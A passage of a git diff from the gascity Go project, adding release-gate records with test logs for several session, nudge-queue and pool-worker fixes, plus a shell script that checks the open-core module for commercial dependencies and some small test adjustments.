+git diff --check origin/main...HEAD
+# no output
+
+git merge-tree --write-tree origin/main HEAD
+67db99ee14c4b05adf2dd3a95843584e589fb84c
+
+go test ./internal/testenv/... ./test/docsync/... -run "TestRequiresDedicatedTestenvImportFile|TestDocDirCoverage|TestNoLeakVectorReadsAtPackageInit" -count=1
+ok  	github.com/gastownhall/gascity/internal/testenv	0.371s
+ok  	github.com/gastownhall/gascity/test/docsync	0.021s
+
+go vet ./internal/testenv/... ./test/docsync/...
+# no output
+
+go build ./...
+# no output
+
+go vet ./...
+# no output
+
+make test-fast-parallel
+[fsys-darwin-compile] ok
+[unit-cmd-gc-4-of-6] ok
+[unit-cmd-gc-5-of-6] ok
+[unit-cmd-gc-6-of-6] ok
+[unit-cmd-gc-1-of-6] ok
+[unit-core] ok
+[unit-cmd-gc-3-of-6] ok
+[unit-cmd-gc-2-of-6] ok
+All fast jobs passed
+```
diff --git a/release-gates/ga-m9rkmi-session-scaffold-workdir-gate.md b/release-gates/ga-m9rkmi-session-scaffold-workdir-gate.md
new file mode 100644
index 0000000000..2b4927c049
--- /dev/null
+++ b/release-gates/ga-m9rkmi-session-scaffold-workdir-gate.md
@@ -0,0 +1,66 @@
+# Release Gate: session scaffold staging work_dir resolution
+
+Bead: `ga-m9rkmi`
+
+Source review beads: `ga-yuij34`, `ga-ji89ce`
+
+Candidate branch: `origin/builder/ga-ajw1no.2-session-scaffold-workdir`
+
+Deploy gate branch: `deploy/ga-m9rkmi-session-scaffold-workdir-gate`
+
+Candidate SHA: `74fdd38a7eb8c1bc8b2dd411c5c695507b965f90`
+
+Candidate cut point: `origin/main` at `5becf8854dc357392bef81e8da6eea9486a49999`
+
+Current `origin/main` during deploy gate: `5becf8854dc357392bef81e8da6eea9486a49999`
+
+`docs/PROJECT_MANIFEST.md` is not present in this checkout; this gate uses the deployer prompt criteria and the repo testing guidance in `TESTING.md`.
+
+## Release Unit
+
+Included commits:
+
+| Commit | Summary |
+| --- | --- |
+| `5456d8ecf` | Reproduce session scaffold workdir leakage. |
+| `74fdd38a7` | Resolve task `work_dir` against the city root, not the reconciler process cwd. |
+
+Scoped file diff from the candidate cut point:
+
+```text
+M cmd/gc/assigned_work_scope_test.go
+M cmd/gc/session_lifecycle_parallel.go
+M cmd/gc/session_lifecycle_parallel_test.go
+M cmd/gc/session_reconciler.go
+A cmd/gc/session_scaffold_staging_test.go
+M internal/runtime/tmux/staging_test.go
+```
+
+The branch is based directly on current `origin/main`. Merge conflict check passed with `git merge-tree $(git merge-base origin/main HEAD) origin/main HEAD`; no conflict diagnostics were emitted.
+
+## Acceptance Evidence
+
+The candidate addresses the reviewed failure mode:
+
+- `resolveTaskWorkDir` and `newAssignedTaskWorkDirResolver` now resolve relative bead `work_dir` metadata against `cityPath` before statting it.
+- Already absolute `work_dir` values pass through unchanged via `filepath.IsAbs`.
+- `buildPreparedStartWithWorkDirResolver` and `resolvePreparedTaskWorkDir` receive `cityPath` so the prepared start path and reconciler snapshot path agree.
+- Rendered `PreStart` commands are retargeted when a task-level workdir override replaces the original template workdir, keeping scaffold materialization under the final session workdir.
+- The new regression proves a shared builder cwd does not receive a bead-slug scaffold directory, while the resolved city worktree receives `.claude`, `.codex`, and `.gc` scaffold files.
+- The companion cleanup review `ga-ji89ce` verified no separate deployable artifact: it confirmed live stray scaffold cleanup and the same code branch reviewed under `ga-yuij34`.
+
+## Criteria
+
+| # | Criterion | Result | Evidence |
+| --- | --- | --- | --- |
+| 1 | Review PASS present | PASS | `ga-yuij34` is closed with `REVIEWER VERDICT: PASS` for commits `5456d8ecf` and `74fdd38a7`. `ga-ji89ce` is closed with `REVIEWER VERDICT: PASS` for the companion cleanup verification. |
+| 2 | Acceptance criteria met | PASS | Code inspection confirmed city-root-relative resolution for task `work_dir`, absolute-path preservation, retargeting of rendered `PreStart` commands, and generic session/work_dir handling with no role-specific branch. New tests cover the shared-cwd leak and tmux scaffold staging guard. |
+| 3 | Tests pass | PASS | `go test ./cmd/gc ./internal/runtime/tmux -run 'TestPrepareStartCandidateStagesScaffoldInResolvedTaskWorkDirWhenCWDIsSharedWorktree|TestStageStartFilesKeepsScaffoldOutOfSpawnerCWD|TestStartCandidate|TestResolveTaskWorkDir|TestSessionStart' -count=1`; `go build ./...`; `go vet ./...`; `go test ./internal/api -run TestHandleExtMsgInboundDefaultRouteMatchesMixedCaseProvider -count=1 -v`; `go test ./internal/api -run TestHandleExtMsgInboundDefaultRouteMatchesMixedCaseProvider -count=3 -v`; `go test ./internal/api -count=1`; final `make test-fast-parallel` retry passed all 8 fast jobs. Initial `make test-fast-parallel` attempt failed only in unrelated `internal/api` with `TempDir RemoveAll cleanup: directory not empty`; the failing test and full package passed immediately on rerun before the clean full fast-target retry. |
+| 4 | No high-severity review findings open | PASS | Review notes contain PASS verdicts and no unresolved HIGH findings. The reviewer recorded two optional non-blocking observations for future audit only: a similar relative-path pattern in retry dispatch and a harmless `cityPath=""` rebuild path. |
+| 5 | Final branch is clean | PASS | `git status --short --branch` was clean before adding this gate artifact; the gate artifact is the only deployer change and is committed on the deploy gate branch. |
+| 6 | Branch diverges cleanly from main | PASS | `origin/main` and `HEAD` share merge base `5becf8854dc357392bef81e8da6eea9486a49999`; `git merge-tree` against current `origin/main` emitted a clean merged tree with no conflicts. |
+| 7 | Single feature theme | PASS | The commit set touches one subsystem and one behavior: session startup workdir resolution and scaffold staging for assigned task worktrees. All changed files are in `cmd/gc` session lifecycle/reconciler tests or `internal/runtime/tmux` staging tests. |
+
+## Gate Verdict
+
+PASS.
diff --git a/release-gates/ga-nlz18e-ctx-bound-scoped-bdstore-gate.md b/release-gates/ga-nlz18e-ctx-bound-scoped-bdstore-gate.md
new file mode 100644
index 0000000000..b82fc0b1b4
--- /dev/null
+++ b/release-gates/ga-nlz18e-ctx-bound-scoped-bdstore-gate.md
@@ -0,0 +1,64 @@
+# Release gate: ga-nlz18e ctx-bound scoped BdStore
+
+Date: 2026-07-04
+Result: PASS
+
+## Candidate
+
+- Deploy bead: ga-nlz18e
+- Source implementation bead: ga-cdmx6x
+- Review bead: ga-bytd3q
+- Reviewed commit: 5e8459b3893fdc2e18f127c8200c98fc1fac1cf2 on gc-builder-3-dad840a7d698
+- Clean release branch tested: release/ga-nlz18e-ctx-bound-scoped-bdstore
+- Base: origin/main at d82074594d7594eea890e5300d7936540f30bd9e
+- Tested commit: a61385aa2 (4e45acbd4 clean cherry-pick of 5e8459b38, plus a
+  compile-only fix for the gap below)
+
+The reviewed builder branch was stacked on deploy/ga-oz3ow5.1-graphonlyready-clean,
+which is not in origin/main and carries a separate graph-only readiness feature.
+For the single-bead gate, I tested the reviewed status patch by itself on current
+origin/main. The cherry-pick applied without conflicts.
+
+## Criteria
+
+| # | Criterion | Result | Evidence |
+|---|-----------|--------|----------|
+| 1 | Review PASS present | PASS | ga-bytd3q is closed with `REVIEW VERDICT: PASS` for commit 5e8459b3893fdc2e18f127c8200c98fc1fac1cf2. |
+| 2 | Acceptance criteria met | PASS | Verified on the final clean branch (code commit a61385aa2, gate tip 00b7977a); `go build ./...`, `go vet ./...`, `git diff --check`, and `gofmt -l` on touched Go files are clean. |
+| 3 | Tests pass | PASS | See "Deployer re-verification before PR" below; `make test-fast-parallel` passed all 8 shards on the final branch. |
+| 4 | No high-severity review findings open | PASS | Reviewer notes report no blockers and only one non-blocking security observation; unresolved HIGH finding count is 0. |
+| 5 | Final branch is clean | PASS | Worktree clean before this evidence refresh; final status rechecked after committing the refreshed gate. |
+| 6 | Branch diverges cleanly from main | PASS | Clean branch was cut from origin/main and the reviewed commit cherry-picked with no merge conflicts. |
+| 7 | Single feature theme | PASS | The clean branch contains only the status/API scoped BdStore cancellation change (plus the one-line test compile fix), not the unrelated graph-only readiness parent stack. |
+
+## Fix applied (previous FAIL -> this PASS)
+
+Prior FAIL: `internal/api/store_health_test.go:171:9: not enough arguments in
+call to s.computeStoreHealth; have (); want ("context".Context)`.
+`TestComputeStoreHealthUsesDoltlitePathFromMetadata` still called
+`computeStoreHealth()` with no argument after the clean cherry-pick changed the
+signature to require `context.Context`, unlike its two sibling call sites in the
+same file which already passed `context.Background()`.
+
+Fix: commit a61385aa2 on `release/ga-nlz18e-ctx-bound-scoped-bdstore` — one-line,
+compile-only, no behavior change (passes `context.Background()`, matching the
+sibling call sites).
+
+## Deployer re-verification before PR
+
+Ran with `TMPDIR=/var/tmp/gc-nlz18e-deploy` from branch tip 00b7977a (same code
+candidate a61385aa2; the only later commit is this release gate).
+
+- `git fetch origin main`: origin/main remains d82074594.
+- `git merge-tree --write-tree HEAD origin/main`: PASS, tree
+  a9fe60a569e349d2eed6213de90f28aa85fa00c1, no conflicts.
+- `git diff --check origin/main...HEAD`: clean.
+- `gofmt -l` on all touched Go files: clean.
+- `go build ./...`: PASS.
+- `go vet ./...`: PASS.
+- `go test ./internal/api/... ./internal/beads/...`: PASS.
+- `GC_REAL_PROCESS_SIGNAL_TESTS=1 GC_FAST_UNIT=0 go test ./cmd/gc ./internal/api
+  -run 'Test(ScopedBdStoreForCityKillsChildOnCtxCancel|LoadStatusSessionSnapshotKillsBdChildOnTimeout|StatusSessionSnapshotKillsBdChildOnTimeout|StatusListStoreWithTimeoutKillsBdChildOnTimeout|ComputeStoreHealthUsesDoltlitePathFromMetadata)$'
+  -count=1 -v`: PASS.
+- `make test-fast-parallel`: PASS, all 8 fast shards passed.
+- `make dashboard-check`: PASS; OpenAPI/generated dashboard paths have no diff.
diff --git a/release-gates/ga-rlr3i2-2-nudge-enqueue-deadline-gate.md b/release-gates/ga-rlr3i2-2-nudge-enqueue-deadline-gate.md
new file mode 100644
index 0000000000..0cc8dbd778
--- /dev/null
+++ b/release-gates/ga-rlr3i2-2-nudge-enqueue-deadline-gate.md
@@ -0,0 +1,92 @@
+# Release Gate: nudge enqueue maintenance budget
+
+Gate date: 2026-07-03
+
+Deploy bead: ga-rlr3i2.2
+Review bead: ga-1anpqe
+Candidate branch: builder/ga-1k4paf-nudge-enqueue-deadline
+Release branch: release/ga-rlr3i2-2-nudge-enqueue-deadline
+Reviewed commits: ff04494c3, b7abe4d30
+Candidate tip before this gate: b7abe4d302137e472bed9bcea7a9de62d4dcc3e7
+Base checked: origin/main @ cdc933ba5ceaacefe0e4c17de63e2be29d379cc1
+
+Note: `docs/PROJECT_MANIFEST.md` and `PROJECT_MANIFEST.md` are not present in
+this checkout. This gate uses the deployer release criteria from the active
+role prompt plus the repository testing guidance in `TESTING.md`, matching
+prior gates in this repository.
+
+## Summary
+
+This release bounds the foreground `gc sling --nudge` enqueue maintenance pass
+to a two-second budget while preserving the queued work it does not process in
+that pass. Non-foreground queue operations keep the previous full-drain
+maintenance behavior through a far-future deadline.
+
+The final release diff is one feature theme:
+
+| Path | Change |
+|---|---|
+| `cmd/gc/cmd_nudge.go` | Adds `nudgeEnqueueMaintenanceBudget`, threads maintenance deadlines through queue cleanup helpers, and only applies the short deadline to the foreground enqueue path. |
+| `cmd/gc/cmd_nudge_test.go` | Updates existing helper calls for the new deadline argument. |
+| `cmd/gc/sling_nudge_backlog_test.go` | Adds regression coverage showing enqueue duration is bounded independent of backlog size. |
+| `cmd/gc/sling_nudge_budget_test.go` | Adds empty-backlog and item-preservation coverage for budgeted enqueue maintenance. |
+
+## Criteria
+
+| # | Criterion | Result | Evidence |
+|---|-----------|--------|----------|
+| 1 | Review PASS present | PASS | `bd show ga-1anpqe` records `REVIEW VERDICT: PASS (independent re-review after supersede)` for `builder/ga-1k4paf-nudge-enqueue-deadline` at `b7abe4d30`. |
+| 2 | Acceptance criteria met | PASS | The gate ran against the isolated branch recorded by `ga-rlr3i2.1`; `git diff --name-only origin/main...origin/builder/ga-1k4paf-nudge-enqueue-deadline` is limited to the four nudge implementation/test files listed above. The branch contains the reviewed nudge enqueue budget implementation and direct validator-style coverage only. |
+| 3 | Tests pass | PASS | `gofmt -l` on changed files produced no output. `git diff --check origin/main...origin/builder/ga-1k4paf-nudge-enqueue-deadline` produced no output. `go test ./cmd/gc/ -run Nudge -count=1 -v` passed. `go test ./internal/nudgequeue/... -count=1` passed. `go build ./...` passed. `go vet ./...` passed. `make test-fast-parallel` passed. |
+| 4 | No high-severity review findings open | PASS | `ga-1anpqe` notes say "No blocking findings on the code itself" and "No blocking findings either way"; unresolved HIGH findings count is 0. |
+| 5 | Final branch is clean | PASS | Before writing this gate file, `git status --short --branch` showed `## release/ga-rlr3i2-2-nudge-enqueue-deadline...origin/builder/ga-1k4paf-nudge-enqueue-deadline` with no worktree changes. This gate file is the only deployer-authored change. |
+| 6 | Branch diverges cleanly from main | PASS | `git merge-tree --write-tree origin/main origin/builder/ga-1k4paf-nudge-enqueue-deadline` exited 0 and produced tree `0e066c9b35c6ed8b14acb42b94fc808180953f71`; no merge conflicts with current `origin/main`. |
+| 7 | Single feature theme | PASS | The commit set is confined to `gc sling --nudge` foreground enqueue budget behavior plus direct nudge queue tests. No unrelated Dolt, runbook, docs, or release-gate artifacts are present in the reviewed diff. |
+
+## Acceptance Checklist
+
+- [x] Gate evaluated the isolated candidate branch from `ga-rlr3i2.1`, not the previously contaminated branch.
+- [x] Release diff is limited to the nudge enqueue maintenance budget implementation and direct validator coverage.
+- [x] Candidate branch has no untracked worktree files or unrelated release-gate artifacts.
+- [x] Candidate branch merges cleanly with current `origin/main`.
+- [x] Required build, vet, focused tests, and fast unit baseline passed.
+- [x] Deployer will open a PR and route merge authority to mayor/mpr, not merge directly.
+
+## Test Log
+
+```text
+gofmt -l cmd/gc/cmd_nudge.go cmd/gc/cmd_nudge_test.go cmd/gc/sling_nudge_backlog_test.go cmd/gc/sling_nudge_budget_test.go
+# no output
+
+git diff --check origin/main...origin/builder/ga-1k4paf-nudge-enqueue-deadline
+# no output
+
+go test ./internal/nudgequeue/... -count=1
+ok  	github.com/gastownhall/gascity/internal/nudgequeue	0.034s
+
+go vet ./...
+# no output
+
+go build ./...
+# no output
+
+go test ./cmd/gc/ -run Nudge -count=1 -v
+PASS
+ok  	github.com/gastownhall/gascity/cmd/gc	14.100s
+
+Focused nudge evidence from the same run:
+- TestSlingNudgeEnqueueBoundedByBacklog: backlog=40 -> 2.038s; backlog=160 -> 2.045s.
+- TestSlingNudgeEnqueueBudgetPreservesQueuedItems: PASS.
+- TestSlingNudgeEnqueueEmptyBacklogFast: PASS.
+
+make test-fast-parallel
+[fsys-darwin-compile] ok
+[unit-cmd-gc-1-of-6] ok
+[unit-cmd-gc-2-of-6] ok
+[unit-cmd-gc-3-of-6] ok
+[unit-cmd-gc-4-of-6] ok
+[unit-cmd-gc-5-of-6] ok
+[unit-cmd-gc-6-of-6] ok
+[unit-core] ok
+All fast jobs passed
+```
diff --git a/release-gates/pool-worker-claim-identity-gate.md b/release-gates/pool-worker-claim-identity-gate.md
new file mode 100644
index 0000000000..15f70ef6ea
--- /dev/null
+++ b/release-gates/pool-worker-claim-identity-gate.md
@@ -0,0 +1,45 @@
+# Release Gate: Pool worker claim identity
+
+Bead: ga-h9lsg4
+Source bead: ga-aq6xfs
+Implementation bead: ga-0cymgz
+Branch under review: builder/ga-0cymgz
+Reviewed commit: 6ee9ba04f49df788a5d7ec134c4b02d44c9d9d6c
+Gate date: 2026-07-01
+
+Note: docs/PROJECT_MANIFEST.md is not present in this worktree. This gate uses
+the deployer release criteria and the repo testing guidance in TESTING.md.
+
+## Gate Results
+
+| # | Criterion | Result | Evidence |
+|---|-----------|--------|----------|
+| 1 | Review PASS present | PASS | Review bead ga-aq6xfs is closed with `REVIEW VERDICT: PASS`; deploy bead ga-h9lsg4 was created by reviewer-gm-u4aay with reviewed commit 6ee9ba04f49df788a5d7ec134c4b02d44c9d9d6c. |
+| 2 | Acceptance criteria met | PASS | `cmd/gc/cmd_hook.go` removes `resolvedAgentName` from `IdentityCandidates` while retaining it in `RouteTargets`. The branch adds the required suffixed-worker acceptance test, named-holder over-fix guard, and mechanism-level identity-candidate test. |
+| 3 | Tests pass | PASS | `go test ./cmd/gc -run 'TestCmdHookClaimSuffixedPoolWorkerDoesNotAdoptBareTemplateInProgressWork|TestCmdHookClaimNamedHolderStillAdoptsOwnInProgressWork|TestPoolWorkerIdentityCandidatesExcludeBareTemplate' -count=1` passed. `make test-fast-parallel` passed all 8 fast shards. `go vet ./...` passed. |
+| 4 | No high-severity review findings open | PASS | Reviewer notes list no unresolved HIGH findings; the review classifies the change as an access-control correctness improvement with no new attack surface. |
+| 5 | Final branch is clean | PASS | No uncommitted changes before gate file creation; this gate file is committed as the branch tip. |
+| 6 | Branch diverges cleanly from main | PASS | `git merge-tree --write-tree origin/main HEAD` succeeded and produced tree d4889ccb4dd55e295788597b4a03757ed70f77a1. |
+| 7 | Single feature theme | PASS | The commit set touches one subsystem: `gc hook --claim` identity adoption behavior in `cmd/gc`, plus tests for that behavior. |
+
+## Acceptance Checks
+
+- PASS: Suffixed pool workers no longer include the bare pool template in
+  adoption identity candidates.
+- PASS: Fresh-claim routing still includes the resolved template through
+  `RouteTargets`.
+- PASS: Named holders and canonical slots still adopt their own in-progress
+  work.
+- PASS: The change is scoped to `cmd/gc/cmd_hook.go` and
+  `cmd/gc/cmd_hook_test.go`.
+
+## Commands
+
+```text
+gofmt -l cmd/gc/cmd_hook.go cmd/gc/cmd_hook_test.go
+go test ./cmd/gc -run 'TestCmdHookClaimSuffixedPoolWorkerDoesNotAdoptBareTemplateInProgressWork|TestCmdHookClaimNamedHolderStillAdoptsOwnInProgressWork|TestPoolWorkerIdentityCandidatesExcludeBareTemplate' -count=1
+make test-fast-parallel
+go vet ./...
+git diff --check origin/main...HEAD
+git merge-tree --write-tree origin/main HEAD
+```
diff --git a/release-gates/reconciler-named-work-ready-guard-gate.md b/release-gates/reconciler-named-work-ready-guard-gate.md
new file mode 100644
index 0000000000..b0831d1e76
--- /dev/null
+++ b/release-gates/reconciler-named-work-ready-guard-gate.md
@@ -0,0 +1,46 @@
+# Release Gate: Reconciler namedWorkReady guard
+
+Bead: ga-ghhxvv
+Source bead: ga-uxzzey
+Implementation bead: ga-n2szjj
+Branch under review: builder/ga-n2szjj
+Reviewed commit: 615d85b1475e604573d8aa8c525f93a16395a8ec
+Gate date: 2026-07-01
+
+Note: docs/PROJECT_MANIFEST.md is not present in this worktree. This gate uses
+the deployer release criteria and the repo testing guidance in TESTING.md.
+
+## Gate Results
+
+| # | Criterion | Result | Evidence |
+|---|-----------|--------|----------|
+| 1 | Review PASS present | PASS | Review bead ga-uxzzey is closed with `REVIEW VERDICT: PASS`; deploy bead ga-ghhxvv was created by reviewer-gm-u4aay with reviewed commit 615d85b1475e604573d8aa8c525f93a16395a8ec. |
+| 2 | Acceptance criteria met | PASS | `cmd/gc/build_desired_state.go` skips bare-template assigned work for templates that support expanded session identities. The branch adds `TestBuildDesiredState_MultiSlotPoolNamedSession_OneRoutedBeadProvisionsTwoWorkers` and retains `TestSharedTemplateAssignee_Tier1CrashRecoveryCrossAdopts`. |
+| 3 | Tests pass | PASS | Required repro tests passed. Broader desired-state/pool regression family passed. `make test-fast-parallel` passed all 8 fast shards. `go vet ./...` passed. |
+| 4 | No high-severity review findings open | PASS | Reviewer notes list no unresolved HIGH findings; the change is described as a defense-in-depth correctness guard with no new attack surface. |
+| 5 | Final branch is clean | PASS | No uncommitted changes before gate file creation; this gate file is committed as the branch tip. |
+| 6 | Branch diverges cleanly from main | PASS | After refreshing `origin/main` to 87bbc7b36be171d6e2271eb0b887d547e0db0cf6, `git merge-tree --write-tree origin/main HEAD` succeeded and produced tree 9019c2a3caa1b79b95d8704aff3b136fb5826f43. |
+| 7 | Single feature theme | PASS | The commit set touches one subsystem: reconciler desired-state demand calculation for named sessions and tests for that behavior. |
+
+## Acceptance Checks
+
+- PASS: Bare-template assigned work no longer counts as named-session demand
+  when the agent supports expanded session identities.
+- PASS: Plain named-only and canonical singleton pool behavior remains covered
+  by the existing `SupportsExpandedSessionIdentities` contract.
+- PASS: The complementary prompt-level failure surface remains documented by
+  `TestSharedTemplateAssignee_Tier1CrashRecoveryCrossAdopts`.
+- PASS: The change is scoped to `cmd/gc/build_desired_state.go` and
+  `cmd/gc/build_desired_state_ga80pen8_test.go`.
+
+## Commands
+
+```text
+gofmt -l cmd/gc/build_desired_state.go cmd/gc/build_desired_state_ga80pen8_test.go
+go test ./cmd/gc -run 'TestBuildDesiredState_MultiSlotPoolNamedSession_OneRoutedBeadProvisionsTwoWorkers|TestSharedTemplateAssignee_Tier1CrashRecoveryCrossAdopts' -count=1
+go test ./cmd/gc -run 'TestBuildDesiredState|TestComputePoolDesiredStates|TestBuildAwakeInputFromReconciler|TestNamedWorkReady' -count=1
+make test-fast-parallel
+go vet ./...
+git diff --check origin/main...HEAD
+git merge-tree --write-tree origin/main HEAD
+```
diff --git a/scripts/check-core-boundary.sh b/scripts/check-core-boundary.sh
new file mode 100644
index 0000000000..7ae4dd7c8a
--- /dev/null
+++ b/scripts/check-core-boundary.sh
@@ -0,0 +1,125 @@
+#!/usr/bin/env bash
+# check-core-boundary.sh
+#
+# Structural guard for the open-core boundary (infra docs:
+# core-vs-commercial-boundary-v0.md, identity-tenancy-fabric-v0.md Decision 5).
+#
+# gascity is the MIT open-core. Multi-tenant / commercial concerns — org_id
+# tenancy, the hosted control plane — live in a SEPARATE module
+# (github.com/gastownhall/gascity-hosted), never in this one. The OSS module
+# must build and run standalone with no commercial dependency. This check fails
+# if the OSS module starts to leak commercial coupling:
+#
+#   (a) a .go file imports a known commercial module;
+#   (b) the literal token `org_` appears in core .go — that is the COMMERCIAL
+#       tenant key; the OSS core uses `tenant` / `TenantSlug`. A genuinely benign
+#       hit (e.g. an OTel attribute key, a doc URL) is suppressed with a trailing
+#       `// boundary:allow org_` marker on the line;
+#   (c) `TenantSlug` (the OSS publication-routing label) appears on the same line
+#       as an external-identity token (oidc/keycloak/jwt/eia/workos/org_id) — the
+#       label must never be joined to a commercial identity (the exact collapse
+#       identity-tenancy-fabric-v0 Decision 5 names as THE leak vector);
+#   (d) go.mod lists a commercial module as a dependency (direct or // indirect);
+#   (e) a non-empty OpenFeature EvaluationContext is constructed in core .go —
+#       per-tenant flag targeting is a HOSTED concern; the core must always
+#       evaluate flags with an empty context (feature-flag-system-v0 §5). This is
+#       the check the `org_` grep (b) cannot see: a workspace-id / user-id / email
+#       context threaded into core would sail past (b). INERT until the OpenFeature
+#       dependency lands in core (Phase 1) — wired now so it bites the moment it does.
+#
+# FAILS CLOSED: if a check cannot evaluate (e.g. go.mod is unreadable), that is a
+# violation, not a pass. A guard that silently passes when it cannot evaluate
+# manufactures false confidence.
+#
+# REQUIRED / BLOCKING as of the Phase-0 promotion (feature-flag ADR Resolved
+# decision 1; operator-authorized 2026-07-05). The baseline was verified clean on
+# origin/main before the flip. It runs as a blocking step in preflight-static — a
+# violation fails the check and blocks the merge.
+set -uo pipefail # intentionally NOT -e: run every check and aggregate.
+
+# Known commercial module paths that must never appear in the OSS module.
+# Space-separated; add new commercial modules here as they are created.
+COMMERCIAL_MODULES="github.com/gastownhall/gascity-hosted"
+
+failed=0
+note() { echo "check-core-boundary: $*" >&2; }
+
+# Non-test core .go surface (whole module tree minus vendor/testdata/tests).
+scan() {
+	grep -rn --include='*.go' --exclude-dir=vendor --exclude-dir=testdata "$1" . 2>/dev/null \
+		| grep -v '_test\.go:'
+}
+
+# (a) source-level import of a commercial module. This is a source-level HINT
+# (it matches the quoted import path); check (d) (go.mod) is the authoritative
+# backstop for an actual module dependency.
+for cm in $COMMERCIAL_MODULES; do
+	hits=$(scan "\"$cm")
+	if [ -n "$hits" ]; then
+		note "BLOCKED (a) — OSS module imports commercial module ${cm}:"
+		printf '%s\n' "$hits" >&2
+		failed=1
+	fi
+done
+
+# (b) the commercial `org_` tenant key in core .go (allow with // boundary:allow org_).
+# `\borg_` anchors to a token boundary so mid-identifier hits (e.g. morgue_org_tag)
+# do not false-positive.
+orgs=$(scan '\borg_' | grep -v 'boundary:allow org_')
+if [ -n "$orgs" ]; then
+	note "BLOCKED (b) — 'org_' token in the OSS core (the commercial tenant key)."
+	note "  Use tenant/TenantSlug, or annotate a genuinely benign line with '// boundary:allow org_':"
+	printf '%s\n' "$orgs" >&2
+	failed=1
+fi
+
+# (c) TenantSlug joined to a commercial identity token on the same line
+joins=$(scan 'TenantSlug' | grep -iE '\b(oidc|keycloak|jwt|eia|workos)\b|org_?id')
+if [ -n "$joins" ]; then
+	note "BLOCKED (c) — TenantSlug (publication-routing label) joined to a commercial identity:"
+	printf '%s\n' "$joins" >&2
+	failed=1
+fi
+
+# (d) go.mod must list no commercial module as a dependency. go.mod is the
+# authoritative, network-free dependency manifest: a commercial package imported
+# anywhere in this module appears here (direct, or pruned-in as // indirect).
+# Deliberately NOT `go list -m all` — that mutates go.sum / needs the network.
+# Fail CLOSED if go.mod is unreadable.
+if [ ! -f go.mod ]; then
+	note "BLOCKED (d) — go.mod not found; cannot verify the dependency set (fail-closed)"
+	failed=1
+else
+	for cm in $COMMERCIAL_MODULES; do
+		if grep -qE "(^|[[:space:]])${cm}([[:space:]]|/|\$)" go.mod; then
+			note "BLOCKED (d) — commercial module ${cm} is a dependency in go.mod"
+			failed=1
+		fi
+	done
+fi
+
+# (e) non-empty OpenFeature EvaluationContext in core .go. Core must evaluate with
+# an EMPTY context (empty targeting key, no attributes); a non-empty context is the
+# per-tenant-targeting leak that (b) cannot catch. Tripwire, not a proof:
+#  - a NewEvaluationContext(...) call whose args are not the empty form
+#    (NewEvaluationContext("", nil) / NewEvaluationContext("", map[string]interface{}{})),
+#  - or an openfeature.EvaluationContext{...} struct literal with any field.
+# Annotate a genuinely benign line with `// boundary:allow evalctx`. Matches nothing
+# until OpenFeature is imported in core (Phase 1).
+evalctx=$(scan 'NewEvaluationContext(' \
+	| grep -vE 'NewEvaluationContext\([[:space:]]*""[[:space:]]*,[[:space:]]*(nil|map\[string\]interface\{\}\{\})[[:space:]]*\)' \
+	| grep -v 'boundary:allow evalctx')
+evalctx_lit=$(scan 'EvaluationContext{[^}]' | grep -v 'boundary:allow evalctx')
+if [ -n "$evalctx$evalctx_lit" ]; then
+	note "BLOCKED (e) — non-empty OpenFeature EvaluationContext in the OSS core."
+	note "  Core must evaluate flags with an EMPTY context; per-tenant targeting is hosted-only."
+	note "  Use NewEvaluationContext(\"\", nil), or annotate a benign line with '// boundary:allow evalctx':"
+	printf '%s\n' "$evalctx" "$evalctx_lit" | grep -v '^$' >&2
+	failed=1
+fi
+
+if [ "$failed" -ne 0 ]; then
+	note "open-core boundary violations found (see above)."
+	exit 1
+fi
+echo "check-core-boundary: OK (no commercial coupling in the OSS module)"
diff --git a/scripts/check-native-dependency-surface.sh b/scripts/check-native-dependency-surface.sh
index 0dae5bd334..98f55832ce 100644
--- a/scripts/check-native-dependency-surface.sh
+++ b/scripts/check-native-dependency-surface.sh
@@ -1,11 +1,11 @@
 #!/usr/bin/env bash
 set -euo pipefail
 
-max_modules="${GC_NATIVE_DEP_MAX_MODULES:-725}"
+max_modules="${GC_NATIVE_DEP_MAX_MODULES:-727}"
 max_binary_bytes="${GC_NATIVE_DEP_MAX_BINARY_BYTES:-270000000}"
 max_aws_modules="${GC_NATIVE_DEP_MAX_AWS_MODULES:-25}"
 max_azure_modules="${GC_NATIVE_DEP_MAX_AZURE_MODULES:-9}"
-max_dolthub_modules="${GC_NATIVE_DEP_MAX_DOLTHUB_MODULES:-14}"
+max_dolthub_modules="${GC_NATIVE_DEP_MAX_DOLTHUB_MODULES:-15}"
 max_google_api_modules="${GC_NATIVE_DEP_MAX_GOOGLE_API_MODULES:-1}"
 
 modules="$(go list -m all)"
diff --git a/test/acceptance/beads_cli_contract_test.go b/test/acceptance/beads_cli_contract_test.go
index 703d1c6de3..055d16416c 100644
--- a/test/acceptance/beads_cli_contract_test.go
+++ b/test/acceptance/beads_cli_contract_test.go
@@ -838,9 +838,13 @@ func TestBdWorkflow(t *testing.T) {
 		t.Fatalf("dep list does not contain root id %s:\n%s", rootID, depOut)
 	}
 
-	// 6. Close the root, then the step.
+	// 6. Close the root (unassigned), then the step. The step was assigned to
+	// polecat-1 above, and this test process drives bd as a different actor (it
+	// never sets BEADS_ACTOR), so closing it exercises bd's cross-actor
+	// close-authority guard (gastownhall/beads#3734) and must pass --force — the
+	// same override the SDK BdStore always applies.
 	requireBD(t, dir, "close", "--json", rootID)
-	requireBD(t, dir, "close", "--json", stepID)
+	requireBD(t, dir, "close", "--force", "--json", stepID)
 
 	// 7. Verify both are closed.
 	for _, id := range []string{rootID, stepID} {
diff --git a/test/acceptance/tutorial_goldens/tutorial03_test.go b/test/acceptance/tutorial_goldens/tutorial03_test.go
index 51b5341828..7d733acfb5 100644
--- a/test/acceptance/tutorial_goldens/tutorial03_test.go
+++ b/test/acceptance/tutorial_goldens/tutorial03_test.go
@@ -4,6 +4,7 @@ package tutorialgoldens
 
 import (
 	"path/filepath"
+	"strconv"
 	"strings"
 	"testing"
 	"time"
@@ -220,14 +221,34 @@ func TestTutorial03Sessions(t *testing.T) {
 	})
 
 	t.Run("gc session peek mc-8sfd", func(t *testing.T) {
+		reviewerIdentityPeekLines := 200
+		peekIdentifiesReviewer := func(out string) bool {
+			lower := strings.ToLower(out)
+			return strings.Contains(lower, "reviewer") || strings.Contains(lower, "codex")
+		}
 		out, err := ws.runShell("gc session peek "+reviewerSessionID, "")
 		if err != nil {
 			t.Fatalf("gc session peek %s: %v\n%s", reviewerSessionID, err, out)
 		}
-		lower := strings.ToLower(out)
-		if strings.TrimSpace(out) == "" || (!strings.Contains(lower, "reviewer") && !strings.Contains(lower, "codex")) {
-			t.Fatalf("peek reviewer output mismatch:\n%s", out)
+		if strings.TrimSpace(out) == "" {
